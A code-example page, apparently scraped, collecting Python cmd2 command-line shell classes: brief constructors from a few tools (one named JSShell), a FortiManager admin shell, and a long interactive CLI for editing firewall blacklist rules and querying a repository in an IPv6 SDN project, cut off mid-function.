Esempio n. 1
0
    def __init__(self):
        """The class initializer"""

        Cmd.__init__(self, startup_script=config.STARTUP_SCRIPT)

        self.aliases.update({'exit': 'quit'})
        self.hidden_commands.extend(
            ['load', 'pyscript', 'set', 'shortcuts', 'alias', 'unalias', 'py'])

        self.current_victim = None
        self.mqtt_client = None
        self.current_scan = None

        self.t = Terminal()

        self.base_prompt = get_prompt(self)
        self.prompt = self.base_prompt

        categorize((
            BaseMixin.do_edit,
            BaseMixin.do_help,
            BaseMixin.do_history,
            BaseMixin.do_quit,
            BaseMixin.do_shell,
        ), BaseMixin.CMD_CAT_GENERAL)
Esempio n. 2
0
    def __init__(self):
        # Add dynamic commands before calling cmd2.Cmd's init since it validates command names
        for command in COMMAND_LIST:
            # Create command function and add help category to it
            cmd_func = functools.partial(self.send_text, text=command)
            cmd2.categorize(cmd_func, CATEGORY)

            # Add command function to CLI object
            cmd_func_name = COMMAND_FUNC_PREFIX + command
            setattr(self, cmd_func_name, cmd_func)

            # Add help function to CLI object
            help_func = functools.partial(self.text_help, text=command)
            help_func_name = HELP_FUNC_PREFIX + command
            setattr(self, help_func_name, help_func)

        super().__init__(use_ipython=True)
Esempio n. 3
0
    def __init__(self):
        Cmd.__init__(self,
                     startup_script=read_config().get('STARTUP_SCRIPT', ''),
                     use_ipython=True)

        self.aliases.update({'exit': 'quit', 'help': 'help -v'})
        self.hidden_commands.extend([
            'load', 'pyscript', 'set', 'shortcuts', 'alias', 'unalias',
            'shell', 'macro'
        ])

        self.t = Terminal()
        self.selected_client = None

        self.prompt = self.get_prompt()
        self.allow_cli_args = False

        # Alerts Thread
        self._stop_thread = False
        self._seen_clients = set(Client.unique_client_ids())
        self._alert_thread = Thread()

        # Register the hook functions
        self.register_preloop_hook(self._alert_thread_preloop_hook)
        self.register_postloop_hook(self._alert_thread_postloop_hook)

        # Set the window title
        self.set_window_title('<< JSShell 2.0 >>')

        categorize([
            BasePlugin.do_help, BasePlugin.do_quit, BasePlugin.do_py,
            BasePlugin.do_ipy, BasePlugin.do_history, BasePlugin.do_edit
        ], BasePlugin.CATEGORY_GENERAL)

        self.register_postparsing_hook(
            self._refresh_client_data_post_parse_hook)
Esempio n. 4
0
class FMGShell(cmd2.Cmd):
    """Sub-class of the cmd2.Cmd."""
    def __init__(self):
        super().__init__(persistent_history_file=FMGSHELL_HISTORY_FILE)

        # The prompt string - Inherited from cmd2.Cmd
        self.prompt = "fmgshell> "

        # Prompt string for multine command - Inherited from cmd2.Cmd
        self.continuation_prompt = "> "

        # A flag set to true once self.do_login is used
        self.logged_in = False

        # We use the FMG class for any FMG API (and caching?) operations
        self.fmg = FMG()

        # We use the FMGFS class for creating a kind of FMG file system
        self.fmg_fs = FMGFS("root")

        # The current working directory in the FMG file system
        self.working_directory = self.fmg_fs

        # Debug file
        self.debug_file = "fmgshell.debug"
        self.debug_fh = open(self.debug_file, "a")

    # Login to FMG
    login_parser = argparse.ArgumentParser()
    login_parser.add_argument("-i",
                              "--ip",
                              required=True,
                              help="FortiManager IP address or FQDN")
    login_parser.add_argument("-u",
                              "--username",
                              required=True,
                              help="FortiManager user name")
    login_parser.add_argument("-p",
                              "--password",
                              required=False,
                              help="FortiManager password")

    login_parser.add_argument("--port",
                              required=False,
                              help="FortiManager TCP port")

    @cmd2.with_argparser(login_parser)
    def do_login(self, args):
        """Login to FortiManager."""
        if self.logged_in:
            self.poutput(f"Already logged in.")
            return

        fmg_ip = args.ip
        fmg_username = args.username
        fmg_password = args.password
        fmg_port = args.port
        if fmg_password == None:
            fmg_password = getpass.getpass()
        if fmg_port == None:
            fmg_port = 443

        self.fmg.login(fmg_ip, fmg_username, fmg_password, fmg_port)
        self.logged_in = True

    cmd2.categorize(do_login, CMD2_CATEGORY)

    # Logout from FMG
    def do_logout(self, args):
        """Logout from FortiManager."""
        if self.logged_in:
            self.fmg.logout()
            self.logged_in = False
        else:
            self.poutput("Not logged in.")

    cmd2.categorize(do_logout, CMD2_CATEGORY)

    # Turn on/off debug mode
    debug_parser = argparse.ArgumentParser()
    debug_parser.add_argument("mode",
                              default="show",
                              choices=["on", "off", "show"],
                              help="Turn on debug mode")

    @cmd2.with_argparser(debug_parser)
    def do_debug(self, args):
        """Turn on/off debug mode."""
        if args.mode == "on":
            self.fmg.debug("on")
        if args.mode == "off":
            self.fmg.debug("off")
        if args.mode == "show":
            mode = self.fmg.debug()
            self.poutput(f"Debug is {mode}.")

    cmd2.categorize(do_debug, CMD2_CATEGORY)

    # "get" command
    get_parser = argparse.ArgumentParser(prog="get")
    # "get system" command
    get_subparser = get_parser.add_subparsers(dest="get_system", required=True)
    get_system = get_subparser.add_parser("system")
    # "get system status" command
    get_system_subparser = get_system.add_subparsers(
        dest="get_system_status",
        required=True,
        help="Get FortiManager system status")
    get_system_status = get_system_subparser.add_parser("status")
    get_system_status.add_argument("--refresh", action="store_true")

    @cmd2.with_argparser(get_parser)
    def do_get(self, args):
        """Get information."""
        if self.logged_in:
            # "get system status"
            if args.get_system_status:
                response = self.fmg.get_system_status(
                    force_refresh=args.refresh)
                self.poutput(fmgshell_print_get_system_status(response))
        else:
            self.poutput("You need to login first.")

    cmd2.categorize(do_get, CMD2_CATEGORY)

    # Print working directory
    def do_pwd(self, args):
        """Print working directory."""
        self.poutput(self.working_directory.get_full_path())

    cmd2.categorize(do_pwd, CMD2_CATEGORY)

    # Change working directory
    def do_cd(self, args):
        """Change working directory."""
        if self.logged_in:
            dest_dir = str(args)
            if len(dest_dir) == 0 or dest_dir == "/":

                self.working_directory = self.fmg_fs
            else:
                try:
                    if dest_dir[0] == "/":
                        node = self.fmg_fs.get_node_by_path(dest_dir)
                    else:
                        node = self.working_directory.get_node_by_path(
                            dest_dir)
                except FMGFS_WrongPath:
                    print("Wrong path.")
                else:
                    self.working_directory = node
        else:
            self.poutput("You need to login first.")

    cmd2.categorize(do_cd, CMD2_CATEGORY)

    def complete_cd(self, text, line, begidx, endidx):

        if self.logged_in:
            pass
        else:
            return []

        # We need to work with the absolute path
        full_path_text = None

        try:
            if text[0] == "/":
                full_path_text = text
        except IndexError:
            pass

        if not full_path_text:
            path_prefix = self.working_directory.get_full_path()

            # if wd is "/"
            if path_prefix == "/":
                full_path_text = f"{path_prefix}{text}"
            else:
                full_path_text = f"{path_prefix}/{text}"

        matches = fmgshell_get_matching_paths(self, full_path_text)

        results = cmd2.utils.basic_complete(full_path_text, line, begidx,
                                            endidx, matches)

        # Prevent to append a space when completion is done - Inherited from
        # cmd2.Cmd
        if len(results) == 1:
            self.allow_appended_space = False

        if True:
            print(file=self.debug_fh, flush=True)
            print(f"Result: {results}", file=self.debug_fh, flush=True)
            print(f"Text: {text}", file=self.debug_fh, flush=True)
            print(f"Full path text: {text}", file=self.debug_fh, flush=True)
            print(f"Type(Text)): {type(text)}", file=self.debug_fh, flush=True)
            print(f"Line: {line}", file=self.debug_fh, flush=True)
            print(f"Begidx: {begidx}", file=self.debug_fh, flush=True)
            print(f"Endidx: {endidx}\n", file=self.debug_fh, flush=True)
            print(file=self.debug_fh, flush=True)

        return results
Esempio n. 5
0
class Cli(cmd2.Cmd):
    """This is the CLI for Janus_IPv6"""

    intro = Fore.LIGHTRED_EX + INTRO_ART2 + INTRO
    prompt = Fore.GREEN + PROMPT + Fore.LIGHTWHITE_EX

    # --------------------------------------------------------------- #
    # Below are the command parsers, used by the CLI.                 #
    # Next to them, the command they are responsible for, is included #
    # --------------------------------------------------------------- #
    conn_parser = CommandParsers.get_connection_parser()  # connect
    query_parser = CommandParsers.get_query_parser()  # query
    rule_parser = CommandParsers.get_rule_parser()  # rule

    def __init__(self, host="::1", port=12160, ipv6=True):
        cmd2.Cmd.__init__(
            self,
            persistent_history_file=
            "/home/soutzis/PycharmProjects/Janus_IPv6/utils/cmd_history.dat",
            persistent_history_length=1000)
        self.schema_names = {
            "logs": "Logs",
            "flows": "NetworkFlows",
            "routing": "Routing",
            "ruleset": "Rulesets"
        }
        self.enable_ipv6 = ipv6
        self.host = host  # equal to '::1' for 'localhost', if ipv6 is enabled
        self.port = port
        self.conn = None

    # Every function that has the "do_" prefix, is a command of the CLI

    @with_argparser(ACArgumentParser())
    def do_quit(self, _: argparse.Namespace) -> bool:
        """Exit this application and close connection with server if there is one."""
        if self.conn is not None:
            self.conn.close()
        self._should_quit = True
        return self._STOP_AND_EXIT

    @cmd2.with_argparser(conn_parser)
    def do_connect(self, args):
        """This command is used to connect to the Janus Repository"""
        if self.conn is None:
            try:
                if args.ipaddress:
                    self.conn = rpyc.connect(args.ipaddress,
                                             self.port,
                                             ipv6=self.enable_ipv6,
                                             config={"allow_all_attrs": True})
                elif args.default:
                    self.conn = rpyc.connect(self.host,
                                             self.port,
                                             ipv6=self.enable_ipv6,
                                             config={"allow_all_attrs": True})
                else:
                    print(
                        "Please use \'-d\' or \'-ip\' flag, to specify IP address of server."
                    )
                    print("Use \"$ connect -h\" for more information.")
                    return

                # Authenticate client
                if self._validate_admin():
                    verification_msg = "Connected to " + Fore.CYAN + self.conn.root.get_service_name(
                    ) + Fore.LIGHTWHITE_EX
                    print(verification_msg)
                # Else, if the authentication was unsuccessful, disconnect from server.
                else:
                    self.conn.close()
                    self.conn = None
            except ConnectionRefusedError:
                print("Server is not responding.")
        else:
            print("Already established connection to server.\n"
                  "Re-run the application to connect to a different service.")

    @cmd2.with_argparser(rule_parser)
    def do_rule(self, args):
        """
        This method is used to create, modify or just view the 'blacklist' ruleset of Janus
        """
        if self.conn is None:
            print(NOT_CONNECTED_ERROR)
            return
        else:
            server_api = self.conn.root
            ruleset = server_api.get_ruleset()

        if args.add:
            try:
                new_rule = self._add_new_rule()
                # Length should be at least or larger than 3 (action, description, priority are mandatory, but useless)
                if len(new_rule) >= 3:
                    ruleset['blacklist'].append(new_rule)
                    server_api.update_ruleset(ruleset)
                else:
                    print(
                        "There was not sufficient information to add this rule."
                    )
            except KeyboardInterrupt:
                print("\nOperation aborted")

        elif args.modify:
            self._show_rule_descriptions(ruleset)
            selection_num = self._select_rule(
                "\nEnter the # of the rule you would like to modify.", ruleset)
            rule = ruleset['blacklist'][selection_num]
            mod_rule = self._modify_rule(rule)
            ruleset['blacklist'][selection_num] = mod_rule
            server_api.update_ruleset(ruleset)

        elif args.show:
            self._show_rule_descriptions(ruleset)
            selection_num = self._select_rule(
                "\nEnter the # of the rule you would like to view.", ruleset)
            self._show_rule(ruleset['blacklist'][selection_num])

    @cmd2.with_argparser(query_parser)
    def do_query(self, args):
        """Used to query the repository"""

        if self.conn is None:
            print(NOT_CONNECTED_ERROR)
            return
        else:
            server_api = self.conn.root

        if args.subparser == 'custom':
            result = server_api.custom_query(args.db, args.query)
            result = self._transform_datetime_in_list(result)
            # Formulate result as tabular data, first row is attribute names (column names)
            tabular_result = tabulate(result,
                                      headers="firstrow",
                                      tablefmt="psql")
            print(tabular_result)

        elif args.subparser == 'select':
            # Here, args.attributes is a list, containing the attributes specified through the CLI
            result = server_api.select(args.db, args.table, args.attributes)
            result = self._transform_datetime_in_list(result)
            tabular_result = tabulate(result,
                                      headers=args.attributes,
                                      tablefmt="psql")
            print(tabular_result)

        elif args.subparser == 'show':
            # This will be the object printed to the client
            tabular_result = ""

            if args.show_tables:
                result = server_api.show_tables(
                    args.db)  # Get tables of specified schema
                result = self._transform_datetime_in_list(result)
                attrs = [self.schema_names[args.db]]
                tabular_result = tabulate(result,
                                          headers=attrs,
                                          tablefmt="psql")

            elif args.describe:
                result = server_api.describe_table(args.db, args.describe)
                result = self._transform_datetime_in_list(result)
                attrs = ['Field', 'Type', 'Null', 'Key', 'Default', 'Extra']
                tabular_result = tabulate(result,
                                          headers=attrs,
                                          tablefmt="psql")

            elif args.table_attributes:
                result = server_api.table_attributes(args.db,
                                                     args.table_attributes)
                result = self._transform_datetime_in_list(result)
                attrs = [args.table_attributes]
                tabular_result = tabulate(result,
                                          headers=attrs,
                                          tablefmt="psql")

            print(tabular_result)

    @with_argparser(ACArgumentParser())
    def do_disconnect(self, _: argparse.Namespace):
        """Call this to disconnect from the repository"""
        if self.conn is None:
            print("You are not connected to the repository")
        else:
            self.conn.close()
            self.conn = None
            print("Disconnected.")

    @with_argparser(ACArgumentParser())
    def do_monitor(self, _: argparse.Namespace):
        """
        This command will initiate a monitoring state, where the client will receive alerts about events
        from the controller
        """

        if self.conn is None:
            print(NOT_CONNECTED_ERROR)
            return
        else:
            server_api = self.conn.root

        db = 'logs'
        table = 'log_records'
        dtime = datetime.now()
        log_id = None

        # Get the attribute names, by querying the server for them
        attrs = server_api.table_attributes(db, table)
        attrs = [item for sublist in attrs
                 for item in sublist]  # flatten lists into 1 list

        # Make all attribute names BOLD, so that it looks cute in the CLI
        for i in range(len(attrs)):
            attrs[i] = '\033[1m' + attrs[i] + '\033[0m'

        while True:
            try:
                result = server_api.monitor(dtime, log_id)
                if result is None:
                    continue
                else:
                    record = self._transform_datetime_in_list(list(result[0]))
                    log_id = record[0]
                    tabular_data = [record]
                    print(
                        tabulate(tabular_data,
                                 headers=attrs,
                                 tablefmt="psql",
                                 numalign="center",
                                 stralign="center"))

            # The only way for user to exit Active Monitoring, is to use the keyboard shortcut: "CTRL + C"
            # Thus, when a 'Keyboard Interrupt' is detected, inform the server that it should turn-off this mode.
            except KeyboardInterrupt:
                print("\rActive Monitoring Mode exited!")
                return

    def _validate_admin(self) -> bool:
        """
        This function will contact the server to log the administrator in.
        :return: True if the user entered the right password, or false if the user entered the wrong password 3 times.
        """
        max_attempts = 3
        incorrect_attempts = 0
        is_admin = False

        while incorrect_attempts < max_attempts and is_admin is False:
            # write password to stream, instead of stdout (hide from UI)
            password = getpass()
            # contact server to authenticate
            is_admin = self.conn.root.authenticate_admin(password)
            if is_admin:
                return True
            else:
                incorrect_attempts += 1
                if incorrect_attempts < max_attempts:
                    print("Sorry, try again.")

        print("{} incorrect attempts.".format(incorrect_attempts))

        return False

    @staticmethod
    def _select_rule(instruction, ruleset):
        """
        :param instruction: The instruction to print to terminal
        :param ruleset: The ruleset to choose a rule from
        :return: An integer that characterizes the selection index
        """
        print(instruction)
        selection_num = None
        while selection_num is None:
            try:
                selection_num = int(input('#: '))
                if selection_num not in range(len(ruleset['blacklist'])):
                    selection_num = None
                    print(
                        "Selection needs to be one of the indexes, shown in the above table."
                    )
            except ValueError:
                selection_num = None
                print("You need to enter a numerical value.\n")
        return selection_num

    @staticmethod
    def _show_rule(rule: dict):
        """
        Displays a given rule to the terminal
        :param rule: The rule to display
        """
        description = rule.pop('description')
        print("\nRULE: " + description)
        attrs = list(rule.keys())
        data = [list(rule.values())]
        print(tabulate(data, headers=attrs, tablefmt='github'))

    @staticmethod
    def _show_rule_descriptions(ruleset):
        """
        This method will display all the rules along with their indices, in a given ruleset.
        :param ruleset: The ruleset to view the rules of
        """
        index = 0
        attrs = ['#', 'Description']
        data = []
        for rule in ruleset['blacklist']:
            row = [index, rule['description']]
            data.append(row)
            index += 1
        print(tabulate(data, headers=attrs, tablefmt='fancy_grid'))

    @staticmethod
    def _transform_datetime_in_list(tabular_data):
        """
        This function is necessary, to convert datetime objects, into their string representation, so that they
        can be printed to the terminal with the "tabulate()" module.
        :param tabular_data: Is the data returned from the database query. The data could be a list, a list of lists,
        a tuple of tuples, a list of tuples, etc.
        :return: The data that was passed as a parameter, but with any datetime elements converted to a string.
        """

        # Conditional checks are to determine if this is a single record, or a collection of records.
        if any((isinstance(i, list) or isinstance(i, tuple))
               for i in tabular_data):
            for x in range(len(tabular_data)):
                # convert any datetime objects to string, to avoid an unexpected AttributeError (in tabulate.py)
                for i in range(len(tabular_data[x])):
                    if isinstance(tabular_data[x][i], datetime):
                        tabular_data[x][i] = tabular_data[x][i].strftime(
                            "%d/%m/%Y, %H:%M:%S")
        else:
            # convert any datetime objects to string, to avoid an unexpected AttributeError (in tabulate.py)
            for i in range(len(tabular_data)):
                if isinstance(tabular_data[i], datetime):
                    tabular_data[i] = tabular_data[i].strftime(
                        "%d/%m/%Y, %H:%M:%S")

        return tabular_data

    def _get_binary_input(self, question: str) -> bool:
        """
        :param question: The question to display in the terminal
        :return: The user's answer (YES or NO)
        """
        print(question)
        answer = input('Answer [Y/N]: ')

        if answer.lower() == "y":
            return True
        elif answer.lower() == "n":
            return False
        else:
            print(
                "Please use 'Y' for 'YES' and 'N' for 'NO'. The input is not case-sensitive."
            )
            return self._get_binary_input(question)

    def _modify_rule(self, rule):
        """
        :param rule: The rule to modify
        :return: The modified rule
        """
        min_priority = 1
        max_priority = 65535
        has_ethertype = False
        ip_proto = None

        print(
            "Follow the instructions to modify the selected rule.\nTo quit, press \"CTRL + C\"."
        )

        # ADD DESCRIPTION
        if self._get_binary_input("\nModify the rule description?"):
            description = input('Description: ')
            rule['description'] = description

        # ADD RULE PRIORITY
        if self._get_binary_input("\nModify the rule priority?"):
            priority = None
            while priority is None and priority not in range(
                    min_priority, max_priority + 1):
                print("The priority has to be in the range 1-65535.")
                try:
                    priority = int(input('Priority: '))
                except ValueError:
                    priority = None
                    print(
                        "You need to enter a numerical value between 1-65535.\n"
                    )
            rule['priority'] = priority

        # ADD SWITCH INPUT PORT
        if 'in_port' in rule:
            if self._get_binary_input("\nModify the incoming port number?"):
                in_port = None
                while in_port is None:
                    try:
                        in_port = int(input('In_port: '))
                    except ValueError:
                        in_port = None
                        print("You need to enter a numerical value.\n")
                rule['in_port'] = in_port
        else:
            if self._get_binary_input("\nAdd the incoming port number?"):
                in_port = None
                while in_port is None:
                    try:
                        in_port = int(input('In_port: '))
                    except ValueError:
                        in_port = None
                        print("You need to enter a numerical value.\n")
                rule['in_port'] = in_port

        # ADD MAC SOURCE
        if 'eth_src' in rule:
            if self._get_binary_input("\nModify source MAC address?"):
                eth_src = input('Source MAC address: ')
                rule['eth_src'] = eth_src
        else:
            if self._get_binary_input("\nAdd source MAC address?"):
                eth_src = input('Source MAC address: ')
                rule['eth_src'] = eth_src

        # ADD MAC DEST
        if 'eth_dst' in rule:
            if self._get_binary_input("\nModify destination MAC address?"):
                eth_dst = input('Destination MAC address: ')
                rule['eth_dst'] = eth_dst
        else:
            if self._get_binary_input("\nAdd destination MAC address?"):
                eth_dst = input('Destination MAC address: ')
                rule['eth_dst'] = eth_dst

        # ADD ETHER_TYPE
        if 'eth_type' in rule:
            has_ethertype = True
            if self._get_binary_input("\nModify ethernet packet type?"):
                has_ethertype = True
                attrs = ['ARP', 'IPv4', 'IPv6']
                data = [[2054, 2048, 34525]]
                print("Use one of the specified values below\n")
                print(tabulate(data, headers=attrs, tablefmt='fancy_grid'))

                eth_type = None
                while eth_type is None:
                    try:
                        eth_type = int(input('Ethertype: '))
                        if eth_type not in data[0]:
                            eth_type = None
                            print(
                                "Ethertype needs to be one of the specified values in the above table."
                            )
                    except ValueError:
                        eth_type = None
                        print("You need to enter a numerical value.\n")
                rule['eth_type'] = eth_type
        else:
            if self._get_binary_input(
                    "\nAdd ethernet packet type?\n"
                    "NOTE: This is required, in order to specify network or transport layer fields."
            ):
                has_ethertype = True
                attrs = ['ARP', 'IPv4', 'IPv6']
                data = [[2054, 2048, 34525]]
                print("Use one of the specified values below\n")
                print(tabulate(data, headers=attrs, tablefmt='fancy_grid'))

                eth_type = None
                while eth_type is None:
                    try:
                        eth_type = int(input('Ethertype: '))
                        if eth_type not in data[0]:
                            eth_type = None
                            print(
                                "Ethertype needs to be one of the specified values in the above table."
                            )
                    except ValueError:
                        eth_type = None
                        print("You need to enter a numerical value.\n")
                rule['eth_type'] = eth_type

        # PROMPT USER TO ADD IP ADDRESS, ONLY IF ETHERTYPE WAS SPECIFIED
        if has_ethertype:

            # ADD SOURCE IPv6
            if 'ipv6_src' in rule:
                if self._get_binary_input(
                        "\nModify existing source IP address?"):
                    ipv6_src = input('Source IP address: ')
                    rule['ipv6_src'] = ipv6_src
            else:
                if self._get_binary_input("\nAdd source IP address?"):
                    ipv6_src = input('Source IP address: ')
                    rule['ipv6_src'] = ipv6_src

            # ADD DESTINATION IPv6
            if 'ipv6_dst' in rule:
                if self._get_binary_input("\nModify destination IP address?"):
                    ipv6_dst = input('Destination IP address: ')
                    rule['ipv6_dst'] = ipv6_dst
            else:
                if self._get_binary_input("\nAdd destination IP address?"):
                    ipv6_dst = input('Destination IP address: ')
                    rule['ipv6_dst'] = ipv6_dst

            # ADD TRANSPORT LAYER PROTOCOL
            if 'ip_proto' in rule:
                ip_proto = rule['ip_proto']
                if self._get_binary_input(
                        "\nChange transport-layer protocol?"):
                    ip_proto = None  # Change to null, so that the user can enter a new value
                    attrs = ['TCP', 'UDP', 'ICMPv6', 'SCTP', 'NONE']
                    data = [[6, 17, 58, 132, 59]]
                    print("Use one of the specified values below\n")
                    print(tabulate(data, headers=attrs, tablefmt='fancy_grid'))

                    while ip_proto is None:
                        try:
                            ip_proto = int(input('Protocol: '))
                            if ip_proto not in data[0]:
                                ip_proto = None
                                print(
                                    "Protocol needs to be one of the specified values in the above table."
                                )
                        except ValueError:
                            ip_proto = None
                            print("You need to enter a numerical value.\n")
                    rule['ip_proto'] = ip_proto
            else:
                if self._get_binary_input(
                        "\nSpecify transport-layer protocol?\n"
                        "NOTE: This is required, in order to specify transport layer fields."
                ):
                    attrs = ['TCP', 'UDP', 'ICMPv6', 'SCTP', 'NONE']
                    data = [[6, 17, 58, 132, 59]]
                    print("Use one of the specified values below\n")
                    print(tabulate(data, headers=attrs, tablefmt='fancy_grid'))

                    while ip_proto is None:
                        try:
                            ip_proto = int(input('Protocol: '))
                            if ip_proto not in data[0]:
                                ip_proto = None
                                print(
                                    "Protocol needs to be one of the specified values in the above table."
                                )
                        except ValueError:
                            ip_proto = None
                            print("You need to enter a numerical value.\n")
                    rule['ip_proto'] = ip_proto

        # TCP
        if ip_proto == 6:
            # TCP SOURCE PORT
            if self._get_binary_input("\nEdit source port number?"):
                tcp_src = None
                while tcp_src is None:
                    try:
                        tcp_src = int(input('Source port: '))
                        if tcp_src not in range(1, 65536):
                            tcp_src = None
                            print(
                                "Port needs to be in the range of valid port numbers (1-65535)."
                            )
                    except ValueError:
                        tcp_src = None
                        print("You need to enter a numerical value.\n")
                rule['tcp_src'] = tcp_src

            # TCP DESTINATION PORT
            if self._get_binary_input("\nEdit destination port number?"):
                tcp_dst = None
                while tcp_dst is None:
                    try:
                        tcp_dst = int(input('Destination port: '))
                        if tcp_dst not in range(1, 65536):
                            tcp_dst = None
                            print(
                                "Port needs to be in the range of valid port numbers (1-65535)."
                            )
                    except ValueError:
                        tcp_dst = None
                        print("You need to enter a numerical value.\n")
                rule['tcp_dst'] = tcp_dst

        # UDP
        elif ip_proto == 17:
            # UDP SOURCE PORT
            if self._get_binary_input("\nEdit source port number?"):
                udp_src = None
                while udp_src is None:
                    try:
                        udp_src = int(input('Source port: '))
                        if udp_src not in range(1, 65536):
                            udp_src = None
                            print(
                                "Port needs to be in the range of valid port numbers (1-65535)."
                            )
                    except ValueError:
                        udp_src = None
                        print("You need to enter a numerical value.\n")
                rule['udp_src'] = udp_src

            # UDP DESTINATION PORT
            if self._get_binary_input("\nEdit destination port number?"):
                udp_dst = None
                while udp_dst is None:
                    try:
                        udp_dst = int(input('Destination port: '))
                        if udp_dst not in range(1, 65536):
                            udp_dst = None
                            print(
                                "Port needs to be in the range of valid port numbers (1-65535)."
                            )
                    except ValueError:
                        udp_dst = None
                        print("You need to enter a numerical value.\n")
                rule['udp_dst'] = udp_dst

        # ICMPv6
        elif ip_proto == 58:
            # TYPE
            if self._get_binary_input("\nEdit ICMPv6 type?"):
                attrs = ['Type Description', 'Type Value']
                data = [['Destination Unreachable', 1], ['Packet Too Big', 2],
                        ['Time Exceeded', 3], ['Parameter Problem', 4],
                        ['Echo Request', 128], ['Echo Reply', 129],
                        ['Router Solicitation', 133],
                        ['Router Advertisement', 134],
                        ['Neighbor Solicitation', 135],
                        ['Neighbor Advertisement', 136], ['Redirect', 137]]
                print(
                    "Use one of the specified values below, for ICMPv6 type\n")
                print(tabulate(data, headers=attrs, tablefmt='fancy_grid'))
                icmpv6_type = None
                while icmpv6_type is None:
                    try:
                        icmpv6_type = int(input('Type: '))
                        if icmpv6_type not in [
                                item for sublist in data for item in sublist
                        ]:
                            icmpv6_type = None
                            print(
                                "Type needs to be one of the valid types shown in the above table."
                            )
                    except ValueError:
                        icmpv6_type = None
                        print("You need to enter a numerical value.\n")
                rule['icmpv6_type'] = icmpv6_type

            # CODE
            if self._get_binary_input("\nEdit ICMPv6 code?"):
                icmpv6_code = None
                while icmpv6_code is None:
                    try:
                        icmpv6_code = int(input('Code: '))
                    except ValueError:
                        icmpv6_code = None
                        print("You need to enter a numerical value.\n")
                rule['icmpv6_code'] = icmpv6_code

        # Finally, return the new rule (as a dict)
        return rule

    def _add_new_rule(self):
        """
        This method will guide the user, to create a new blocking rule for Janus.
        :return: A new rule to be added to the blacklist ruleset of the repository
        """
        new_rule = {"action": "drop"}
        min_priority = 1
        max_priority = 65535
        has_ethertype = False
        ip_proto = None

        print(
            "Follow the instructions to add a new 'blocking' rule.\nTo quit, press \"CTRL + C\"."
        )

        # ADD DESCRIPTION
        print(
            "\nAdd a description for uniquely identifying this rule and press \"Enter\"."
        )
        description = input('Description: ')
        new_rule['description'] = description

        # ADD RULE PRIORITY
        print("\nAdd priority of this rule, over the rest of the rules.")
        priority = None
        while priority is None and priority not in range(
                min_priority, max_priority + 1):
            print("The priority has to be in the range 1-65535.")
            try:
                priority = int(input('Priority: '))
            except ValueError:
                priority = None
                print("You need to enter a numerical value between 1-65535.\n")
        new_rule['priority'] = priority

        # ADD SWITCH INPUT PORT
        if self._get_binary_input("\nAdd the incoming port number?"):
            in_port = None
            while in_port is None:
                try:
                    in_port = int(input('In_port: '))
                except ValueError:
                    in_port = None
                    print("You need to enter a numerical value.\n")
            new_rule['in_port'] = in_port

        # ADD MAC SOURCE
        if self._get_binary_input("\nAdd source MAC address?"):
            eth_src = input('Source MAC address: ')
            new_rule['eth_src'] = eth_src

        # ADD MAC DEST
        if self._get_binary_input("\nAdd destination MAC address?"):
            eth_dst = input('Destination MAC address: ')
            new_rule['eth_dst'] = eth_dst

        # ADD ETHER_TYPE
        if self._get_binary_input(
                "\nAdd ethernet packet type?\n"
                "NOTE: This is required, in order to specify network or transport layer fields."
        ):
            has_ethertype = True
            attrs = ['ARP', 'IPv4', 'IPv6']
            data = [[2054, 2048, 34525]]
            print("Use one of the specified values below\n")
            print(tabulate(data, headers=attrs, tablefmt='fancy_grid'))

            eth_type = None
            while eth_type is None:
                try:
                    eth_type = int(input('Ethertype: '))
                    if eth_type not in data[0]:
                        eth_type = None
                        print(
                            "Ethertype needs to be one of the specified values in the above table."
                        )
                except ValueError:
                    eth_type = None
                    print("You need to enter a numerical value.\n")
            new_rule['eth_type'] = eth_type

        # PROMPT USER TO ADD IP ADDRESS, ONLY IF ETHERTYPE WAS SPECIFIED
        if has_ethertype:
            if self._get_binary_input("\nAdd source IP address?"):
                ipv6_src = input('Source IP address: ')
                new_rule['ipv6_src'] = ipv6_src

            if self._get_binary_input("\nAdd destination IP address?"):
                ipv6_dst = input('Destination IP address: ')
                new_rule['ipv6_dst'] = ipv6_dst

            if self._get_binary_input(
                    "\nSpecify transport-layer protocol?\n"
                    "NOTE: This is required, in order to specify transport layer fields."
            ):
                attrs = ['TCP', 'UDP', 'ICMPv6', 'SCTP', 'NONE']
                data = [[6, 17, 58, 132, 59]]
                print("Use one of the specified values below\n")
                print(tabulate(data, headers=attrs, tablefmt='fancy_grid'))

                while ip_proto is None:
                    try:
                        ip_proto = int(input('Protocol: '))
                        if ip_proto not in data[0]:
                            ip_proto = None
                            print(
                                "Protocol needs to be one of the specified values in the above table."
                            )
                    except ValueError:
                        ip_proto = None
                        print("You need to enter a numerical value.\n")
                new_rule['ip_proto'] = ip_proto

        # TCP
        if ip_proto == 6:
            # TCP SOURCE PORT
            if self._get_binary_input("\nAdd source port number?"):
                tcp_src = None
                while tcp_src is None:
                    try:
                        tcp_src = int(input('Source port: '))
                        if tcp_src not in range(1, 65536):
                            tcp_src = None
                            print(
                                "Port needs to be in the range of valid port numbers (1-65535)."
                            )
                    except ValueError:
                        tcp_src = None
                        print("You need to enter a numerical value.\n")
                new_rule['tcp_src'] = tcp_src

            # TCP DESTINATION PORT
            if self._get_binary_input("\nAdd destination port number?"):
                tcp_dst = None
                while tcp_dst is None:
                    try:
                        tcp_dst = int(input('Destination port: '))
                        if tcp_dst not in range(1, 65536):
                            tcp_dst = None
                            print(
                                "Port needs to be in the range of valid port numbers (1-65535)."
                            )
                    except ValueError:
                        tcp_dst = None
                        print("You need to enter a numerical value.\n")
                new_rule['tcp_dst'] = tcp_dst

        # UDP
        elif ip_proto == 17:
            # UDP SOURCE PORT
            if self._get_binary_input("\nAdd source port number?"):
                udp_src = None
                while udp_src is None:
                    try:
                        udp_src = int(input('Source port: '))
                        if udp_src not in range(1, 65536):
                            udp_src = None
                            print(
                                "Port needs to be in the range of valid port numbers (1-65535)."
                            )
                    except ValueError:
                        udp_src = None
                        print("You need to enter a numerical value.\n")
                new_rule['udp_src'] = udp_src

            # UDP DESTINATION PORT
            if self._get_binary_input("\nAdd destination port number?"):
                udp_dst = None
                while udp_dst is None:
                    try:
                        udp_dst = int(input('Destination port: '))
                        if udp_dst not in range(1, 65536):
                            udp_dst = None
                            print(
                                "Port needs to be in the range of valid port numbers (1-65535)."
                            )
                    except ValueError:
                        udp_dst = None
                        print("You need to enter a numerical value.\n")
                new_rule['udp_dst'] = udp_dst

        # ICMPv6
        elif ip_proto == 58:
            # TYPE
            if self._get_binary_input("\nSpecify an ICMPv6 type?"):
                attrs = ['Type Description', 'Type Value']
                data = [['Destination Unreachable', 1], ['Packet Too Big', 2],
